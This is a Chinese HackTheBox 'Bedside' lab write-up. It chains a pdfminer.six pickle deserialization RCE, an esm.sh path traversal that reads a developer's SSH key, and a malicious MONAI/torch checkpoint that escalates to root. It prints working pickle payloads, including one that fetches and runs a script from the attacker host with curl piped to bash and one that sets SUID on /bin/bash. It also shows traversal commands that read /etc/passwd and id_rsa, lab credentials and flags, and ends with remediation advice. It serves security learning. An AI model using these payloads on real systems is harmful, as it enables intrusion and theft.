HTB Bedside 渗透测试记录

你是慕鸢呀~ 发布于 4 小时前 6 次阅读 2226 字 预计阅读时间: 10 分钟


AI 摘要

这是一份 HTB Bedside 靶机的完整渗透测试记录。作者从外部侦察起步,通过虚拟主机爆破发现 `research.bedside.htb` 上传门户,利用 pdfminer.six 的 CMap 反序列化漏洞(CVE-2025-64512)拿到容器内 `datawrangler` shell;随后借内网 esm.sh 开发服务的路径穿越读取宿主机 `developer` 私钥,SSH 落地取得 User Flag;最后通过共享卷 `/datastore` 植入恶意 `.pt` 文件,触发 MONAI `CheckpointLoader` 的 `torch.load(weights_only=False)` 反序列化(CVE-2025-58756)完成提权,以 SUID bash 获取 Root Flag。

HTB Bedside 渗透测试记录

目标:10.129.48.61(Debian,主机名 bedside,Apache 2.4.68 + PHP-FPM,OpenSSH 10.0p2) 跳板机:htb-nwz5acpmnq.htb-cloud.com(HTB 工作机,tun0 = 10.10.15.135) 跳板机账号:muyuan / QA5qh4xo 测试日期:2026-09-29

最终结果:

  • User Flag = aa88e88eed11fddfba988835aee34e05(/home/developer/user.txt)
  • Root Flag = 88bdba6128d35d3720aa44f248da93b4(/root/root.txt,经 MONAI torch.load(weights_only=False) 提权得到 root)

整条利用链:vhost 发现 research.bedside.htb 上传门户 → pdfminer.six CMap 反序列化(CVE-2025-64512) 拿到容器内 datawrangler shell → 内网 esm.sh 开发服务(:3000)路径穿越读宿主机 developer 私钥 → SSH 落地读 user flag → MONAI CheckpointLoader + torch.load(weights_only=False) 反序列化(CVE-2025-58756) 经共享卷 /datastore 提权 → SUID bash → root flag。


0. 环境准备

所有操作均在跳板机上完成(目标只对 VPN 网段可达)。

sshpass -p 'QA5qh4xo' ssh muyuan@htb-nwz5acpmnq.htb-cloud.com
echo "10.129.48.61 bedside.htb"          | sudo tee -a /etc/hosts
echo "10.129.48.61 research.bedside.htb" | sudo tee -a /etc/hosts

本机同目录下 .scratch/bedside/ 保存了本次用到的全部脚本: gen.py(生成 pickle + 触发 PDF)、httpserver.py(下发/回收)、www/c.sh(容器内受控脚本)、build_payloads.py(生成恶意 .pt 与样本 PNG)。


1. 侦察

nmap -Pn -p- --min-rate 2000 -T4 10.129.48.61 -oN allports.txt
# 22/tcp   open     ssh      OpenSSH 10.0p2 Debian 7+deb13u4
# 80/tcp   open     http     Apache httpd 2.4.68
# 3000/tcp filtered ppp      <- 被防火墙专门 DROP,内网服务伏笔

nmap -Pn -sV -sC -p 22,80,3000 10.129.48.61
# http-title: Did not follow redirect to http://bedside.htb/

ACK 扫描确认只有 3000 是被防火墙丢包(其余端口只是未监听):

sudo nmap -sA -p 22,80,3000,5000,8000,8080,8443 -T4 10.129.48.61
# 3000/tcp filtered   (22/80/5000/8000/8080/8443 均 unfiltered)
curl -s -m8 http://10.129.48.61:3000/   # 超时,外部不可达

bedside.htb 是一个静态诊所站(index.php 只是内联 CSS/SVG 的静态页,无表单、无参数)。目录爆破只有 index.php 和 /javascript/jquery/:

feroxbuster -u http://bedside.htb/ -w .../DirBuster-2007_directory-list-2.3-medium.txt \
            -x php,html,txt,js,json,bak,zip
ffuf -u "http://bedside.htb/index.php?FUZZ=test" -w .../burp-parameter-names.txt -fs 7189   # 无变化

主站是死路。突破口来自虚拟主机爆破,不是目录爆破。


2. 子域发现:research.bedside.htb

默认 vhost 把所有未知 Host 都 301 到 http://bedside.htb/(响应体大小 ~347+len(host)),因此要按“排除默认重定向”的方式过滤:

ffuf -u http://bedside.htb/ -H 'Host: FUZZ.bedside.htb' \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
     -fs 7189 -ac
# research [Status: 200, Size: 3152, Words: 313, Lines: 80]

curl -sI -H 'Host: research.bedside.htb' http://10.129.48.61/
# HTTP/1.1 200 OK
# X-Powered-By: pdfminer.six      <-- 关键:后端用 pdfminer 解析 PDF

门户是一个未认证的医疗影像上传站点,接受 jpeg/jpg/png/bmp/tiff/dcm/pdf 及压缩包,并提示“某些格式在 AI 训练前会被转换”——意味着存在异步后端解析器。

上传目录通过故意触发 MIME 报错泄露:

echo hi > hi.pickle.gz
curl -s -F 'uploadFile=@hi.pickle.gz;type=application/gzip' http://research.bedside.htb/
# MIME type mismatch. Unable to upload file to destination /var/www/research.bedside.htb/uploads

MIME 校验基于内容魔数(真实 gzip / PDF / DICOM 可通过,text/plain 被拒),所以真正的 gzip 与 PDF 都能上传。


3. Foothold — pdfminer.six CMap 反序列化 RCE(CVE-2025-64512)

后端 pdfminer.six 在解析 PDF 字体的 /Encoding(CMap)时,会用 pickle.loads() 加载 CMapDB 的预编译缓存文件 `

.pickle.gz`,且不校验来源。我们: 1. 上传一个 gzip 压缩的 pickle(文件名 `bedside.pickle.gz`,反序列化时执行 `os.system`); 2. 上传一个 PDF,其 `/Encoding` 指向该文件的**绝对路径**(不含 `.pickle.gz` 后缀,pdfminer 解析时会自动补全),路径中的 `/` 用 PDF 十六进制转义 `#2F`。 `gen.py`(核心): ```python class RCE: def __reduce__(self): return (os.system, ("curl -fsS http://%s:%s/c.sh | bash" % (LHOST, LPORT),)) with gzip.open("bedside.pickle.gz", "wb") as f: pickle.dump(RCE(), f) # trigger.pdf 里: # 5 0 obj<server.log 2>&1 .../out_exfil_recon ``` 回收结果,确认落地身份: ```text whoami: datawrangler id: uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops) hostname: data-wrangler # 在 PDF 处理容器内 pwd: /app --- /etc/hosts --- 127.0.1.1 bedside bedside.htb research.bedside.htb ``` --- ## 4. 内网 Pivot — esm.sh 开发服务路径穿越(读 developer 私钥) 外部被防火墙屏蔽的 `:3000` 在容器内可达(Docker 网关 `172.17.0.1:3000`,也可 `127.0.0.1:3000`),是一个 React/ESM 开发服务(“Bedside Clinic - Image Viewer”)。普通 API 路径 404,弱点在包解析路由 `/pr/`,且必须用 `--path-as-is` 防止 curl 归一化: ```bash curl --path-as-is -sS \ 'http://172.17.0.1:3000/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1' # developer:x:1000:1000:developer,,,:/home/developer:/bin/bash curl --path-as-is -sS \ 'http://172.17.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1' # -----BEGIN OPENSSH PRIVATE KEY----- ... # 顺带直接读到 user flag: curl --path-as-is -sS \ 'http://172.17.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/user.txt?raw=1&module=1' # aa88e88eed11fddfba988835aee34e05 ``` 把私钥存成 `dev_id_rsa`(`chmod 600`)后 SSH 落地: ```bash ssh -i dev_id_rsa developer@bedside.htb # uid=1000(developer) gid=1000(developer) groups=1000(developer),100(users) # hostname: bedside cat ~/user.txt # aa88e88eed11fddfba988835aee34e05 ``` **User Flag = `aa88e88eed11fddfba988835aee34e05`** --- ## 5. Privilege Escalation — MONAI / PyTorch 不安全反序列化(CVE-2025-58756) ```bash developer@bedside:~$ sudo -l # (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py ``` `/opt/trainer/bedside_trainer.py` 用 MONAI 的 `CheckpointLoader` 加载 `/datastore/checkpoints` 中最新的 `*.pt`,内部 `torch.load(..., weights_only=False)` —— 等价于对攻击者可控文件 `pickle.loads`。而 `/datastore` 是**容器与宿主机共享的卷**,容器内 `datawrangler` 对其 `checkpoints/`、`processed/` 有写权限: ```bash # 容器内(datawrangler) ls -la /datastore # drwxrwx--- datawrangler dataops touch /datastore/checkpoints/.wtest # CHECKPOINTS_WRITABLE ``` 因此“容器写 checkpoint + 宿主机 root 读取”即构成提权链。脚本还会先构建 dataloader,因此需要至少 1 个合法样本——示例流程是用 `c.sh` 清空 staging 里的空 `.txt`(否则会被 promote 后令 dataloader 崩溃),并植入一张 64×64 PNG。 恶意 `.pt` 就是标准 Torch 存档(zip + pickle,手工构造,无需 torch): ```python # build_payloads.py class RCE: def __reduce__(self): return (os.system, ("chmod 4755 /bin/bash; " "cp /root/root.txt /tmp/root_flag.txt; " "chmod 644 /tmp/root_flag.txt",)) payload = pickle.dumps({"model": RCE(), "optimizer": {}, "epoch": 1}, protocol=2) with zipfile.ZipFile("evil.pt", "w", zipfile.ZIP_STORED) as z: z.writestr("archive/data.pkl", payload) z.writestr("archive/version", "3\n") ``` 通过 `c.sh` 投放(容器从跳板机 `8000` 拉取): ```bash rm -f /datastore/checkpoints/*.pt /datastore/processed/* /datastore/staging/*.txt curl -s http://10.10.15.135:8000/sample.png -o /datastore/processed/sample.png curl -s http://10.10.15.135:8000/evil.pt -o /datastore/checkpoints/checkpoint_epoch_9999.pt ``` 以 `developer` 运行白名单命令触发(注意:该 sudo 规则是**精确匹配**,不能附加参数): ```bash sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py # ... loading with CheckpointLoader (callable mode) ... # TypeError: Expected state_dict to be dict-like, got . ``` 脚本随后报错崩溃,但**副作用已在 `torch.load` 反序列化时执行完毕**: ```bash ls -l /bin/bash # -rwsr-xr-x 1 root root (SUID 已设置) cat /tmp/root_flag.txt # 88bdba6128d35d3720aa44f248da93b4 /bin/bash -p -c 'id; cat /root/root.txt' # uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer),100(users) # 88bdba6128d35d3720aa44f248da93b4 ``` **Root Flag = `88bdba6128d35d3720aa44f248da93b4`** --- ## 6. 关键坑与经验 1. **子域是突破口**。默认 vhost 把一切未知 Host 都 301 到 `bedside.htb`,用普通 `gobuster vhost` 很容易被 301 淹没;应按“响应体大小 ≠ 默认值”过滤(如 `ffuf -fs 7189`),才能发现 `research.bedside.htb`。 2. **`X-Powered-By: pdfminer.six` 是明示**。上传型门户 + 后端转换器 = 解析器漏洞面;`pdfminer.six` 的 CMap 缓存走 `pickle.loads`(CVE-2025-64512)。 3. **MIME 校验按内容魔数**:真实 gzip 可通过(`type=application/gzip`),`text/plain` 会被拒。因此 pickle 必须真的是 gzip 文件。 4. **pdfminer 自动补 `.pickle.gz`**:`/Encoding` 里的路径要**不含**后缀,且 `/` 用 `#2F` 十六进制转义;`research.bedside.htb` 中的 `.` 保持字面即可。 5. **worker 每 30s 重扫且可重复触发**。用“payload 拉取 `c.sh` 再执行”的方式做成了稳定的命令通道,省去了维护交互式反弹 shell 的麻烦。 6. **`:3000` 只对内部可达**(防火墙专门 DROP)。容器内走 `172.17.0.1:3000`,路径穿越必须加 `curl --path-as-is`,否则 `../` 会被客户端归一化。 7. **`/datastore` 是跨边界共享卷**:低权容器可写 + 高权宿主机进程读取 = 提权通道。`torch.load(weights_only=False)`(MONAI `CheckpointLoader`)是关键(CVE-2025-58756)。 8. **“崩溃”不等于“失败”**:`load_state_dict` 报 `got ` 是正常的——反序列化副作用(`chmod +s`)在此之前就已执行。 9. **sudo 规则精确匹配**:`/usr/bin/python3 /opt/trainer/bedside_trainer.py` 不接受任何附加参数,攻击必须藏在脚本“读取的文件”里。 --- ## 7. 时间线 | 阶段 | 动作 | 结果 | |------|------|------| | 侦察 | nmap 全端口 | 22、80 开放;3000 被过滤(伏笔) | | Web | 目录/参数爆破 | 主站为静态页,死路 | | 子域 | Host 头爆破(排除默认 301) | 发现 `research.bedside.htb`(pdfminer.six) | | 上传 | MIME 探测 + 报错 | 泄露上传目录 `/var/www/research.bedside.htb/uploads` | | 落地 | pdfminer.six CMap pickle RCE | 容器内 `datawrangler` shell | | 内网 | :3000 esm.sh `/pr/` 路径穿越 | 读 `/etc/passwd`、`developer` 私钥、`user.txt` | | User | SSH `developer@bedside.htb` | `aa88e88eed11fddfba988835aee34e05` | | 提权 | 共享卷植入恶意 `.pt` + sudo 训练脚本 | `torch.load` 反序列化 → `chmod +s /bin/bash` | | Root | `/bin/bash -p` | `88bdba6128d35d3720aa44f248da93b4` | --- ## 8. 修复建议 - **pdfminer.six**:升级到已修复版本;CMap/缓存一律用安全格式加载,禁止对来自文档的字符串路径做 `pickle.loads`。 - **上传门户**:不要把请求里的路径/名称当文件名;MIME 校验只是表面——真正的修复是消除不安全的解析器入口,并隔离处理进程。 - **内网开发服务(esm.sh)**:不要暴露无认证的开发/包解析端点;升级并对 `/pr/` 等路由做路径规范化(拒绝 `../`)。 - **共享卷**:容器与宿主机之间的“共享目录”不是信任边界;宿主机侧以 root 读取的文件必须由 root 拥有、不可被低权写入。 - **ML 基础设施**:升级 PyTorch/MONAI,`torch.load` 使用 `weights_only=True`,并使用安全全局白名单。 - **最小权限**:收紧 `sudo` 规则(不要 `NOPASSWD` 运行会加载外部文件的脚本)。 --- > 本次测试在 HTB 授权实验环境中进行,仅用于安全学习与防御改进。
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2026-10-14